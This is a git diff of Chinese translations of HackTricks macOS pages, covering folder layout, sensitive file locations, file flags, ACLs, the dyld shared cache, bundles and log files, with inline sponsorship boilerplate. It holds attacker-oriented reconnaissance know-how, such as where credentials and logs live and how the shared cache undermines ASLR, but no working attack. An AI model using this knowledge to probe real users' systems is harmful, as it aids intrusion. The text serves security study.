以下行可用于查找可以根据扩展名打开文件的应用程序:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
或者使用类似 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps) 的工具:
|
||||
或者使用类似 [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
|
||||
```bash
|
||||
./swda getSchemes #Get all the available schemes
|
||||
./swda getApps #Get all the apps declared
|
||||
./swda getUTIs #Get all the UTIs
|
||||
./swda getHandler --URL ftp #Get ftp handler
|
||||
```
|
||||
您还可以执行以下操作来检查应用程序支持的扩展名:
|
||||
您还可以通过以下方式检查应用程序支持的扩展名:
|
||||
```
|
||||
cd /Applications/Safari.app/Contents
|
||||
grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
||||
|
@ -81,16 +80,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string
|
|||
<string>xbl</string>
|
||||
<string>svg</string>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS文件夹、文件和二进制文件 & 内存
|
||||
# macOS文件夹、二进制文件和内存
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 文件层次结构
|
||||
|
||||
|
@ -21,80 +22,80 @@
|
|||
* **/cores**:如果存在,用于存储核心转储
|
||||
* **/dev**:一切都被视为文件,因此您可能会在此处看到存储的硬件设备。
|
||||
* **/etc**:配置文件
|
||||
* **/Library**:可以在此处找到许多与首选项、缓存和日志相关的子目录和文件。根目录和每个用户目录中都存在一个Library文件夹。
|
||||
* **/private**:未记录,但许多提到的文件夹都是符号链接到private目录。
|
||||
* **/Library**:可以在此处找到许多与首选项、缓存和日志相关的子目录和文件。根目录和每个用户目录中都存在一个 Library 文件夹。
|
||||
* **/private**:未记录,但提到的许多文件夹都是符号链接到 private 目录。
|
||||
* **/sbin**:基本系统二进制文件(与管理相关)
|
||||
* **/System**:使OS X运行的文件。您应该在这里主要找到Apple特定的文件(而不是第三方文件)。
|
||||
* **/tmp**:文件在3天后被删除(这是指向/private/tmp的软链接)
|
||||
* **/System**:使 OS X 运行的文件。您应该在这里主要只找到 Apple 特定的文件(而非第三方文件)。
|
||||
* **/tmp**:文件在 3 天后被删除(这是指向 /private/tmp 的软链接)
|
||||
* **/Users**:用户的主目录。
|
||||
* **/usr**:配置和系统二进制文件
|
||||
* **/var**:日志文件
|
||||
* **/Volumes**:挂载的驱动器将出现在这里。
|
||||
* **/.vol**:运行`stat a.txt`,您将获得类似`16777223 7545753 -rw-r--r-- 1 username wheel ...`的内容,其中第一个数字是文件所在卷的ID号,第二个数字是索引节点号。您可以通过/.vol/访问该文件的内容,使用该信息运行`cat /.vol/16777223/7545753`
|
||||
* **/.vol**:运行 `stat a.txt`,您将获得类似 `16777223 7545753 -rw-r--r-- 1 username wheel ...` 的内容,其中第一个数字是文件所在卷的 ID 号,第二个数字是索引节点号。您可以通过 /.vol/ 访问此文件的内容,使用该信息运行 `cat /.vol/16777223/7545753`
|
||||
|
||||
### 应用程序文件夹
|
||||
|
||||
* **系统应用程序**位于`/System/Applications`
|
||||
* **已安装的**应用程序通常安装在`/Applications`或`~/Applications`
|
||||
* **应用程序数据**可以在`/Library/Application Support`中找到,用于以root身份运行的应用程序,以及在`~/Library/Application Support`中找到,用于以用户身份运行的应用程序。
|
||||
* **需要以root身份运行**的第三方应用程序**守护程序**通常位于`/Library/PrivilegedHelperTools/`
|
||||
* **沙箱**应用程序映射到`~/Library/Containers`文件夹。每个应用程序都有一个根据应用程序的捆绑ID(`com.apple.Safari`)命名的文件夹。
|
||||
* **内核**位于`/System/Library/Kernels/kernel`
|
||||
* **Apple的内核扩展**位于`/System/Library/Extensions`
|
||||
* **第三方内核扩展**存储在`/Library/Extensions`
|
||||
* **系统应用程序**位于 `/System/Applications`
|
||||
* **已安装**应用程序通常安装在 `/Applications` 或 `~/Applications`
|
||||
* **应用程序数据**可以在 `/Library/Application Support` 中找到,用于以 root 运行的应用程序,以及在 `~/Library/Application Support` 中找到,用于以用户身份运行的应用程序。
|
||||
* **需要以 root 运行**的第三方应用程序 **守护程序**通常位于 `/Library/PrivilegedHelperTools/`
|
||||
* **沙箱**应用程序映射到 `~/Library/Containers` 文件夹。每个应用程序都有一个根据应用程序的 bundle ID 命名的文件夹(`com.apple.Safari`)。
|
||||
* **内核**位于 `/System/Library/Kernels/kernel`
|
||||
* **Apple 的内核扩展**位于 `/System/Library/Extensions`
|
||||
* **第三方内核扩展**存储在 `/Library/Extensions`
|
||||
|
||||
### 包含敏感信息的文件
|
||||
|
||||
MacOS在几个地方存储诸如密码之类的信息:
|
||||
MacOS 在多个位置存储诸如密码之类的信息:
|
||||
|
||||
{% content-ref url="macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 有漏洞的pkg安装程序
|
||||
### 有漏洞的 pkg 安装程序
|
||||
|
||||
{% content-ref url="macos-installers-abuse.md" %}
|
||||
[macos-installers-abuse.md](macos-installers-abuse.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## OS X特定扩展
|
||||
## OS X 特定扩展名
|
||||
|
||||
* **`.dmg`**:苹果磁盘映像文件在安装程序中非常常见。
|
||||
* **`.kext`**:它必须遵循特定结构,是驱动程序的OS X版本(它是一个捆绑包)
|
||||
* **`.plist`**:也称为属性列表,以XML或二进制格式存储信息。
|
||||
* 可以是XML或二进制。可以使用以下命令读取二进制文件:
|
||||
* **`.kext`**:必须遵循特定结构,是驱动程序的 OS X 版本(它是一个捆绑包)。
|
||||
* **`.plist`**:也称为属性列表,以 XML 或二进制格式存储信息。
|
||||
* 可以是 XML 或二进制。可以使用以下命令读取二进制文件:
|
||||
* `defaults read config.plist`
|
||||
* `/usr/libexec/PlistBuddy -c print config.plsit`
|
||||
* `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
|
||||
* `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
|
||||
* **`.app`**:遵循目录结构的苹果应用程序(它是一个捆绑包)。
|
||||
* **`.dylib`**:动态库(类似于Windows的DLL文件)
|
||||
* **`.pkg`**:与xar(可扩展存档格式)相同。可以使用installer命令安装这些文件的内容。
|
||||
* **`.DS_Store`**:每个目录中都有此文件,它保存目录的属性和自定义。
|
||||
* **`.Spotlight-V100`**:此文件夹出现在系统上每个卷的根目录上。
|
||||
* **`.metadata_never_index`**:如果此文件位于卷的根目录中,Spotlight将不会索引该卷。
|
||||
* **`.noindex`**:具有此扩展名的文件和文件夹不会被Spotlight索引。
|
||||
* **`.sdef`**:捆绑包中的文件指定如何从AppleScript与应用程序进行交互。
|
||||
* **`.dylib`**:动态库(类似于 Windows 的 DLL 文件)
|
||||
* **`.pkg`**:与 xar(eXtensible 存档格式)相同。安装程序命令可用于安装这些文件的内容。
|
||||
* **`.DS_Store`**:每个目录中都有此文件,保存目录的属性和自定义。
|
||||
* **`.Spotlight-V100`**:此文件夹出现在系统上每个卷的根目录中。
|
||||
* **`.metadata_never_index`**:如果此文件位于卷的根目录中,Spotlight 将不会索引该卷。
|
||||
* **`.noindex`**:具有此扩展名的文件和文件夹不会被 Spotlight 索引。
|
||||
* **`.sdef`**:捆绑包中的文件,指定如何从 AppleScript 与应用程序进行交互。
|
||||
|
||||
### macOS捆绑包
|
||||
### macOS 捆绑包
|
||||
|
||||
捆绑包是一个**看起来像Finder中的对象的目录**(`*.app`文件是捆绑包的一个示例)。
|
||||
捆绑包是一个**看起来像 Finder 中的对象的目录**(`*.app` 文件是捆绑包的一个示例)。
|
||||
|
||||
{% content-ref url="macos-bundles.md" %}
|
||||
[macos-bundles.md](macos-bundles.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Dyld共享库缓存(SLC)
|
||||
## Dyld 共享库缓存(SLC)
|
||||
|
||||
在macOS(和iOS)中,所有系统共享库,如框架和dylibs,都**合并到一个文件**中,称为**dyld共享缓存**。这提高了性能,因为代码可以更快地加载。
|
||||
在 macOS(和 iOS)中,所有系统共享库,如框架和 dylibs,都**合并到一个单个文件**中,称为**dyld 共享缓存**。这提高了性能,因为代码可以更快地加载。
|
||||
|
||||
在macOS中,它位于`/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在**`/System/Library/dyld/`**中找到**共享缓存**。\
|
||||
在iOS中,您可以在**`/System/Library/Caches/com.apple.dyld/`**中找到它们。
|
||||
在 macOS 中,它位于 `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`,在旧版本中,您可能会在 **`/System/Library/dyld/`** 中找到**共享缓存**。\
|
||||
在 iOS 中,您可以在 **`/System/Library/Caches/com.apple.dyld/`** 中找到它们。
|
||||
|
||||
与dyld共享缓存类似,内核和内核扩展也编译到内核缓存中,在启动时加载。
|
||||
与 dyld 共享缓存类似,内核和内核扩展也编译到一个内核缓存中,在启动时加载。
|
||||
|
||||
为了从单个文件dylib共享缓存中提取库,可以使用二进制文件[dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip),这可能在现在无法使用,但您也可以使用[**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
为了从单个文件 dylib 共享缓存中提取库,可以使用二进制文件 [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip),这可能在现在无法使用,但您也可以使用 [**dyldextractor**](https://github.com/arandomdev/dyldextractor):
|
||||
```bash
|
||||
# dyld_shared_cache_util
|
||||
dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -122,9 +123,9 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
|
||||
**`dyld`** 使用系统调用 **`shared_region_check_np`** 来检查 SLC 是否已映射(返回地址),并使用 **`shared_region_map_and_slide_np`** 来映射 SLC。
|
||||
|
||||
请注意,即使 SLC 在第一次使用时被滑动,所有**进程**都使用**相同的副本**,如果攻击者能够在系统中运行进程,则**消除了 ASLR** 保护。这实际上在过去被利用过,并通过共享区域分页器进行修复。
|
||||
请注意,即使 SLC 在第一次使用时被滑动,所有**进程**都使用**相同的副本**,如果攻击者能够在系统中运行进程,则**消除了 ASLR** 保护。 这实际上在过去被利用过,并通过共享区域分页器进行了修复。
|
||||
|
||||
分支池是创建图像映射之间的小空间的小 Mach-O dylibs,使得无法插入函数。
|
||||
分支池是创建图像映射之间的小空间的小 Mach-O dylibs,使得不可能插入函数。
|
||||
|
||||
### 覆盖 SLCs
|
||||
|
||||
|
@ -137,26 +138,26 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
|
||||
### 文件夹权限
|
||||
|
||||
在**文件夹**中,**读取**允许**列出**它,**写入**允许**删除**和**写入**文件,**执行**允许**遍历**目录。因此,例如,一个用户对目录中的文件具有**读取权限**,但他**没有执行权限**,则**无法读取**该文件。
|
||||
在**文件夹**中,**读取**允许**列出**它,**写入**允许**删除**和**写入**文件,**执行**允许**遍历**目录。因此,例如,用户对**文件夹中的文件具有读取权限**,但他**没有执行权限**,则**无法读取**该文件。
|
||||
|
||||
### 标志修饰符
|
||||
|
||||
文件中可以设置一些标志,使文件的行为不同。您可以使用 `ls -lO /path/directory` 检查目录中文件的标志
|
||||
文件中可能设置一些标志,使文件的行为不同。您可以使用 `ls -lO /path/directory` 检查目录中文件的标志
|
||||
|
||||
* **`uchg`**:称为**uchange**标志,将**阻止任何更改或删除**文件的操作。要设置它,请执行:`chflags uchg file.txt`
|
||||
* root 用户可以**移除该标志**并修改文件
|
||||
* **`restricted`**:此标志使文件受到 SIP 的**保护**(您无法将此标志添加到文件)。
|
||||
* **`粘性位`**:如果一个带有粘性位的目录,**只有**目录的**所有者或 root 可以重命名或删除**文件。通常在 /tmp 目录上设置此标志,以防止普通用户删除或移动其他用户的文件。
|
||||
* **`restricted`**:此标志使文件受到 SIP 的**保护**(无法将此标志添加到文件)。
|
||||
* **`粘性位`**:如果一个目录具有粘性位,**只有**目录的**所有者或 root 可以重命名或删除**文件。通常在 /tmp 目录上设置此标志,以防止普通用户删除或移动其他用户的文件。
|
||||
|
||||
所有标志都可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),包括:
|
||||
所有标志都可以在文件 `sys/stat.h` 中找到(使用 `mdfind stat.h | grep stat.h` 查找),它们是:
|
||||
|
||||
* `UF_SETTABLE` 0x0000ffff:所有者可更改标志的掩码。
|
||||
* `UF_SETTABLE` 0x0000ffff:可更改所有者标志的掩码。
|
||||
* `UF_NODUMP` 0x00000001:不转储文件。
|
||||
* `UF_IMMUTABLE` 0x00000002:文件不可更改。
|
||||
* `UF_APPEND` 0x00000004:只能追加写入文件。
|
||||
* `UF_OPAQUE` 0x00000008:目录对于联合是不透明的。
|
||||
* `UF_COMPRESSED` 0x00000020:文件已压缩(某些文件系统)。
|
||||
* `UF_TRACKED` 0x00000040:设置此标志的文件不会收到删除/重命名的通知。
|
||||
* `UF_TRACKED` 0x00000040:设置此项的文件不会收到删除/重命名的通知。
|
||||
* `UF_DATAVAULT` 0x00000080:需要读取和写入的授权。
|
||||
* `UF_HIDDEN` 0x00008000:提示不应在 GUI 中显示此项。
|
||||
* `SF_SUPPORTED` 0x009f0000:超级用户支持的标志掩码。
|
||||
|
@ -177,7 +178,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
|
|||
可以授予**目录**这些权限:`list`、`search`、`add_file`、`add_subdirectory`、`delete_child`、`delete_child`。\
|
||||
对于**文件**:`read`、`write`、`append`、`execute`。
|
||||
|
||||
当文件包含 ACLs 时,您将在列出权限时**找到一个 "+"**,如下所示:
|
||||
当文件包含 ACLs 时,您将在列出权限时**找到一个“+”**,如下所示:
|
||||
```bash
|
||||
ls -ld Movies
|
||||
drwx------+ 7 username staff 224 15 Apr 19:42 Movies
|
||||
|
@ -235,7 +236,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
|
|||
|
||||
扩展属性 `com.apple.decmpfs` 表示文件已加密存储,`ls -l` 将报告**大小为 0**,压缩数据位于此属性中。每当访问文件时,它将在内存中解密。
|
||||
|
||||
可以使用 `ls -lO` 查看此属性,因为压缩文件还会标记为标志 `UF_COMPRESSED`。如果删除压缩文件,则使用 `chflags nocompressed </path/to/file>` 命令,系统将不知道文件已被压缩,因此无法解压缩和访问数据(系统会认为文件实际上是空的)。
|
||||
可以使用 `ls -lO` 查看此属性,因为压缩文件也会标记为标志 `UF_COMPRESSED`。如果删除压缩文件,则使用 `chflags nocompressed </path/to/file>` 命令,系统将不知道文件已经被压缩,因此无法解压缩和访问数据(系统会认为文件实际上是空的)。
|
||||
|
||||
工具 afscexpand 可用于强制解压缩文件。
|
||||
|
||||
|
@ -257,12 +258,12 @@ Mac OS 二进制文件通常被编译为**通用二进制文件**。**通用二
|
|||
|
||||
## Mac OS 风险类别文件
|
||||
|
||||
目录 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` 存储了有关不同文件扩展名的风险的信息。该目录将文件分类为不同的风险级别,影响 Safari 在下载这些文件时的处理方式。分类如下:
|
||||
目录 `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` 存储了关于不同文件扩展名的风险的信息。该目录将文件分类为不同的风险级别,影响 Safari 在下载这些文件时的处理方式。分类如下:
|
||||
|
||||
* **LSRiskCategorySafe**:此类文件被认为是**完全安全**的。Safari 将在下载后自动打开这些文件。
|
||||
* **LSRiskCategoryNeutral**:这些文件没有警告,Safari **不会自动打开**它们。
|
||||
* **LSRiskCategoryUnsafeExecutable**:此类文件会**触发警告**,指示文件是一个应用程序。这是一项安全措施,用于提醒用户。
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**:此类文件,如存档文件,可能包含可执行文件。除非 Safari 能够验证所有内容是安全或中性,否则 Safari 将**触发警告**。
|
||||
* **LSRiskCategoryUnsafeExecutable**:此类文件会**触发警告**,指示该文件是一个应用程序。这是一项安全措施,用于提醒用户。
|
||||
* **LSRiskCategoryMayContainUnsafeExecutable**:此类文件是指可能包含可执行文件的文件,例如存档文件。除非 Safari 能够验证所有内容是安全或中性的,否则 Safari 将**触发警告**。
|
||||
|
||||
## 日志文件
|
||||
|
||||
|
@ -271,6 +272,21 @@ Mac OS 二进制文件通常被编译为**通用二进制文件**。**通用二
|
|||
* **`/private/var/log/asl/*.asl`**:这些是可能包含有趣信息的 Apple 系统日志。
|
||||
* **`$HOME/Library/Preferences/com.apple.recentitems.plist`**:存储通过“Finder”最近访问的文件和应用程序。
|
||||
* **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**:存储系统启动时要启动的项目。
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**:DiskUtility 应用程序的日志文件(包含有关驱动器的信息,包括 USB 设备)。
|
||||
* **`$HOME/Library/Logs/DiskUtility.log`**:DiskUtility 应用程序的日志文件(包括有关驱动器(包括 USB 设备)的信息)。
|
||||
* **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**:关于无线访问点的数据。
|
||||
* **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**:已停用的守护进程列表。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# macOS捆绑包
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
|
@ -22,24 +23,24 @@ macOS中的捆绑包用作各种资源(包括应用程序、库和其他必要
|
|||
|
||||
在捆绑包中,特别是在`<application>.app/Contents/`目录中,存储着各种重要资源:
|
||||
|
||||
* **\_CodeSignature**:此目录存储了用于验证应用程序完整性的代码签名详细信息。您可以使用类似以下命令来检查代码签名信息:%%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
* **\_CodeSignature**:此目录存储了验证应用程序完整性所必需的代码签名详细信息。您可以使用命令检查代码签名信息,例如: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%%
|
||||
* **MacOS**:包含应用程序的可执行二进制文件,用户交互时运行。
|
||||
* **Resources**:存储应用程序的用户界面组件,包括图像、文档和界面描述(nib/xib文件)。
|
||||
* **Resources**:存放应用程序的用户界面组件,包括图像、文档和界面描述(nib/xib文件)。
|
||||
* **Info.plist**:作为应用程序的主要配置文件,对于系统识别和与应用程序交互至关重要。
|
||||
|
||||
#### Info.plist中的重要键
|
||||
|
||||
`Info.plist`文件是应用程序配置的基石,包含诸如以下键的内容:
|
||||
`Info.plist`文件是应用程序配置的基石,包含诸如以下键:
|
||||
|
||||
* **CFBundleExecutable**:指定位于`Contents/MacOS`目录中的主可执行文件的名称。
|
||||
* **CFBundleIdentifier**:为应用程序提供全局标识符,macOS广泛使用它进行应用程序管理。
|
||||
* **CFBundleIdentifier**:为应用程序提供全局标识符,macOS广泛用于应用程序管理。
|
||||
* **LSMinimumSystemVersion**:指示应用程序运行所需的macOS最低版本。
|
||||
|
||||
### 探索捆绑包
|
||||
|
||||
要探索捆绑包的内容,例如`Safari.app`,可以使用以下命令:`bash ls -lR /Applications/Safari.app/Contents`
|
||||
|
||||
此探索将显示诸如`_CodeSignature`、`MacOS`、`Resources`等目录,以及诸如`Info.plist`等文件,每个都具有从保护应用程序到定义其用户界面和操作参数的独特目的。
|
||||
此探索将显示诸如`_CodeSignature`、`MacOS`、`Resources`等目录,以及`Info.plist`等文件,每个都具有从保护应用程序到定义其用户界面和操作参数的独特目的。
|
||||
|
||||
#### 其他捆绑包目录
|
||||
|
||||
|
@ -53,16 +54,17 @@ macOS中的捆绑包用作各种资源(包括应用程序、库和其他必要
|
|||
|
||||
有关`Info.plist`键及其含义的更详细信息,苹果开发者文档提供了广泛的资源:[Apple Info.plist键参考](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html)。
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS&HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
